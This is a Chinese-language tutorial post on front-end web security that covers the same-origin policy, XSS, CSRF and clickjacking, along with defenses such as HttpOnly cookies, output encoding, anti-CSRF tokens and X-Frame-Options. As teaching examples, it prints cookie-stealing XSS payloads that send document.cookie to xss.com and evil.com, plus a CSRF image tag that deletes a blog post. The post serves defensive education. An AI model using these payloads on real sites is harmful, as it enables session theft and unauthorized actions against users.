淺談前端安全

安全問題的分類

按照所發生的區域分類

• 後端安全問題：全部發生在後端服務器、應用、服務當中的安全問題
• 前端安全問題：全部發生在瀏覽器、單頁面應用、Web頁面當中的安全問題

按照團隊中哪一個角色最適合來修復安全問題分類

• 後端安全問題：針對這個安全問題，後端最適合來修復
• 前端安全問題：針對這個安全問題，前端最適合來修復

綜合以上

• 前端安全問題：發生在瀏覽器、前端應用當中或者一般由前端開發工程師來對其進行修復的安全問題

瀏覽器安全

同源策略

是一種約定，是瀏覽器最核心也最基本的安全功能，限制了來自不一樣源的document或者腳本，對當前document讀取或設置某些屬性

• 影響「源」的因素有：host（域名或者IP地址）、子域名、端口、協議
• 對瀏覽器來講，DOM、Cookie、XMLHttpRequest會受到同源策略的限制

不受同源策略的標籤

<script>、<img>、<iframe>、<link>等標籤均可以跨域加載資源，而不受同源策略的限制

• 這些帶"src"屬性的標籤每次加載時，瀏覽器會發起一次GET請求
• 經過src屬性加載的資源，瀏覽器限制了javascript的權限，使其不能讀、寫返回的內容

三大前端安全問題

一、跨站腳本攻擊（XSS）

定義

英文全稱：Cross Site Script，XSS攻擊，一般指黑客經過「HTML注入」篡改了網頁，插入了惡意的腳本，從而在用戶瀏覽網頁時，控制用戶瀏覽器的一種攻擊

本質

是一種「HTML注入」，用戶的數據被當成了HTML代碼一部分來執行，從而產生了新的語義

---

XSS的分類

一、反射型XSS：將用戶輸入的數據反射給瀏覽器。黑客須要誘使用戶「點擊」一個惡意連接，才能攻擊成功。

舉個例子：

1. 假設在某購物網站上搜商品，當搜不到商品時會出現此時的URL是https://category.vip.com/suggest.php?keyword=xss&ff=235|12|1|1
2. 在搜索框輸入<script>alert('xss')</script>
3. 若是前端頁面沒有對搜索框的內容進行過濾，而是直接發送，這時，URL地址欄應該會顯示https://category.vip.com/suggest.php?keyword=<script>alert('xss')</script>&ff=235|12|1|1，從而alert出xss，但事實倒是已經轉碼了的：https://category.vip.com/suggest.php?keyword=%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E&ff=235|12|1|1
4. 假設前端頁面沒有進行處理，那麼攻擊者就能夠經過構造來獲取用戶的cookie的地址，來誘使用戶來訪問這個地址，好比說https://category.vip.com/suggest.php?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>&ff=235|12|1|1

二、存儲型XSS：把用戶輸入的數據「存儲」在服務器端，這種XSS具備很強的穩定性。

好比說，黑客寫下一篇包含惡意javascript代碼的博客文章，文章發表後，全部訪問該博客文章的用戶，都會在瀏覽器中執行這段惡意的javascript代碼，黑客把惡意的腳本保存到服務器端

三、DOM Based XSS：經過修改頁面的DOM節點造成的XSS。

舉個例子：

1. 在輸入框中輸入內容後點擊write
2. 此時再點擊a連接

原理：首先用一個單引號閉合掉href的第一個單引號，而後插入一個onclick事件，最後再用註釋符"//"註釋掉第二個單引號。點擊此連接，腳本將被執行。

---

XSS Payload攻擊

定義

XSS攻擊成功後，攻擊者可以對用戶當前瀏覽的頁面植入惡意腳本，經過惡意腳本，控制用戶的瀏覽器。這些用以完成各類具體功能的惡意腳本，被稱爲XSS Payload。實際上就是Javascript腳本（或者Flash或其餘富客戶端的腳本），因此XSS Payload可以作到任何javascript腳本能實現的功能

實例

• 經過讀取瀏覽器的cookie對象，從而發起「cookie劫持」攻擊

  1. 攻擊者首先加載一個遠程腳本http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js></script>
  2. 真正的XSS Payload寫在這個遠程腳本中，避免直接在URL的參數裏寫入大量的Javascript代碼
  3. 在evil.js中，經過以下代碼竊取cookievar img = document.createElement("img");
  4. img.src = "http://www.evil.com/log?"+escape(document.cookie);
  5. document.body.appendChild(img);
  6. 以上代碼在頁面中插入了一張看不見的圖片，同時把document.cookie對象做爲參數發送到遠程服務器中
  7. http://www.evil.com/log並不一...，由於這個請求會在遠程服務器的Web日誌中留下記錄127.0.0.1 - - [119/Jul/2010:11:30:42 + 0800] "GET /log?cookie1%3D1234 HTTP/1.1" 404 288

• 經過模擬GET、POST請求操做用戶的瀏覽器（在「cookie劫持」失效時，或者目標用戶的網絡不能訪問互聯網等狀況時會很是有用）

  1. 假設某博客頁面存在XSS漏洞，那麼能夠經過構造get請求操做用戶瀏覽器
  2. 假設正常刪除博客文章的連接爲http://blog.test.com/manage/e...
  3. 對於攻擊者來講，只須要知道文章的id，就可以經過這個請求來刪除這篇文章
  4. 攻擊者能夠經過插入一張圖片來發起一個get請求
  5. 攻擊者只須要讓博客做者執行這段javascript代碼也就是XSS Payload，就會刪除這篇文章

---

XSS的防護

一、HttpOnly

瀏覽器禁止頁面的Javascript訪問帶有HttpOnly屬性的cookie。（實質解決的是：XSS後的cookie劫持攻擊）現在已成爲一種「標準」的作法

不一樣語言給cookie添加HttpOnly的方式不一樣，好比

• JavaEE：response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
• PHP4：header("Set-Cookie:hidden=value;httpOnly");
• PHP5：setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);//true爲HttpOnly屬性

二、輸入檢查（XSS Filter）

• 原理：讓一些基於特殊字符的攻擊失效。（常見的Web漏洞如XSS、SQLInjection等，都要求攻擊者構造一些特殊字符）
• 輸入檢查的邏輯，必須放在服務器端代碼中實現。目前Web開發的廣泛作法，是同時哎客戶端Javascript中和服務端代碼中實現相同的輸入檢查。客戶端的輸入檢查能夠阻擋大部分誤操做的正經常使用戶，節約服務器資源。

三、輸出檢查

在變量輸出到HTML頁面時，使用編碼或轉義的方式來防護XSS攻擊

• 針對HTML代碼的編碼方式：HtmlEncode
• PHP：htmlentities()和htmlspecialchars()兩個函數
• Javascript：JavascriptEncode（須要使用「」對特殊字符進行轉義，同時要求輸出的變量必須在引號內部）
• 在URL的path（路徑）或者search（參數）中輸出，使用URLEncode

具體實施能夠參考：http://www.cnblogs.com/lovesong/p/5211667.html

---

防護DOM Based XSS

• DOM Based XSS的造成：（舉個例子）

• 實質：從Javascript中輸出數據到HTML頁面裏
• 這個例子的解決方案：作一次HtmlEncode

防護方法：分語境使用不一樣的編碼函數

---

總結

XSS漏洞雖然複雜，可是倒是能夠完全解決的。在設計解決方案時，應該針對不一樣場景理解XSS攻擊的原理，使用不一樣的方法

二、CSRF（跨站點請求僞造）

什麼是CSRF

首先來看個例子：

攻擊者首先在本身的域構造一個頁面： http://www.a.com/csrf.html，其內容爲 <img src="http://blog.sohu.com/manage/entry.do?m=deleted&id=156714243" />
使用了一個img標籤，其地址指向了刪除Iid爲156714243的博客文章
而後攻擊者誘使目標用戶，也就是博客主人訪問這個頁面
用戶進去看到一張沒法顯示的圖片，這時本身的那篇博客文章已經被刪除了

原理：在剛纔訪問http://www.a.com/csrf.html頁面時，圖片標籤向服務器發送了一次get請求，此次請求致使了博客文章被刪除
這種刪除博客文章的請求，是攻擊者僞造的，因此這種攻擊就叫作「跨站點請求僞造」

CSRF的原理

參考上圖，咱們能夠總結，完成一次CSRF攻擊，必須知足兩個條件

1. 用戶登陸受信任網站A，而且在本地生成Cookie
2. 在不登出網站A的狀況下，訪問危險網站B

CSRF本質

CSRF攻擊是攻擊者利用用戶身份操做用戶帳戶的一種攻擊方式

---

CSRF的防護

CSRF能攻擊成功的本質緣由：重要操做的全部參數都是能夠被攻擊者猜想到的

解決方案

一、驗證碼

CSRF攻擊過程當中，用戶在不知情的狀況下構造了網絡請求，添加驗證碼後，強制用戶必須與應用進行交互

• 優勢：簡潔而有效
• 缺點：網站不能給全部的操做都加上驗證碼

二、Referer Check

利用HTTP頭中的Referer判斷請求來源是否合法
Referer首部包含了當前請求頁面的來源頁面的地址

• 優勢：簡單易操做（只須要在最後給全部安全敏感的請求統一添加一個攔截器來檢查Referer的值就行）

• 缺點：服務器並不是何時都能取到Referer

  1. 不少出於保護用戶隱私的考慮，限制了Referer的發送。
  2. 好比從HTTPS跳轉到HTTP，出於安全的考慮，瀏覽器不會發送Referer

瀏覽器兼容性

關於Referer的更多詳細資料：https://75team.com/post/everything-you-could-ever-want-to-know-and-more-about-controlling-the-referer-header-fastmail-blog.html

三、使用Anti CSRF Token

• 好比一個刪除操做的URL是：http://host/path/delete?uesrname=abc&item=123
• 保持原參數不變，新增一個參數Token，Token值是隨機的，不可預測
• http://host/path/delete?username=abc&item=123&token=[random(seed)]

因爲Token的存在，攻擊者沒法再構造出一個完整的URL實施CSRF攻擊

• 優勢：比檢查Referer方法更安全，而且不涉及用戶隱私
• 缺點：對全部的請求都添加Token比較困難

更多關於CSRF詳細可參考：

1. CSRF 攻擊的應對之道：https://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/
2. CSRF原理剖析：http://netsecurity.51cto.com/art/200812/102951.htm
3. 維基百科CSRF：https://en.wikipedia.org/wiki/Cross-site_request_forgery
4. CSRF實例：http://netsecurity.51cto.com/art/200812/102925.htm

須要注意的點：

1. Token須要足夠隨機，必須用足夠安全的隨機數生成算法
2. Token應該爲用戶和服務器所共同持有，不能被第三方知曉
3. Token能夠放在用戶的Session或者瀏覽器的Cookie中
4. 儘可能把Token放在表單中，把敏感操做由GET改成POST，以form表單的形式提交，能夠避免Token泄露（好比一個頁面：http://host/path/manage?username=abc&token=[random]，在此頁面用戶須要在這個頁面提交表單或者單擊「刪除」按鈕，才能完成刪除操做，在這種場景下，若是這個頁面包含了一張攻擊者能指定地址的圖片<img src="http://evil.com/notexist" />，則這個頁面地址會做爲HTTP請求的Refer發送到evil.com的服務器上，從而致使Token泄露）

---

XSRF

當網站同時存在XSS和CSRF漏洞時，XSS能夠模擬客戶端瀏覽器執行任意操做，在XSS攻擊下，攻擊者徹底能夠請求頁面後，讀取頁面內容中的Token值，而後再構造出一個合法的請求

結論

安全防護的體系應該是相輔相成、缺一不可的

三、點擊劫持（ClickJacking）

什麼是點擊劫持

點擊劫持是一種視覺上的欺騙手段。攻擊者使用一個透明的、不可見的iframe，覆蓋在一個網頁上，而後誘使用戶在網頁上進行操做，此時用戶將在不知情的狀況下點擊透明的iframe頁面。經過調整iframe頁面的位置，能夠誘使用戶剛好點擊在iframe頁面的一些功能性按鈕上。

防護點擊劫持：X-Frame-Options

X-Frame-Options HTTP響應頭是用來給瀏覽器指示容許一個頁面可否在 <frame>、<iframe>、<object>中展示的標記

有三個可選的值

1. DENY：瀏覽器會拒絕當前頁面加載任何frame頁面（即便是相同域名的頁面也不容許）
2. SAMEORIGIN：容許加載frame頁面，可是frame頁面的地址只能爲同源域名下的頁面
3. ALLOW-FROM：能夠加載指定來源的frame頁面（能夠定義frame頁面的地址）

瀏覽器的兼容性

小結

綜合以上三大前端安全，咱們能夠總結

1. 謹慎用戶輸入信息，進行輸入檢查（客戶端和服務端同時檢查）
2. 在變量輸出到HTML頁面時，都應該進行編碼或轉義來預防XSS攻擊
3. 該用驗證碼的時候必定要添上
4. 儘可能在重要請求上添加Token參數，注意Token要足夠隨機，用足夠安全的隨機數生成算法
5. 當有<frame><iframe><object>時，合理設置X-Frame-Options HTTP響應頭
6. 檢查驗證請求來源，對每個重要的操做都進行從新驗證
7. 不要將重要文件、備份文件存放在公衆能夠訪問到的地方
8. 安全防護的體系是相輔相成、缺一不可的

只收藏不點讚的都是耍流氓哦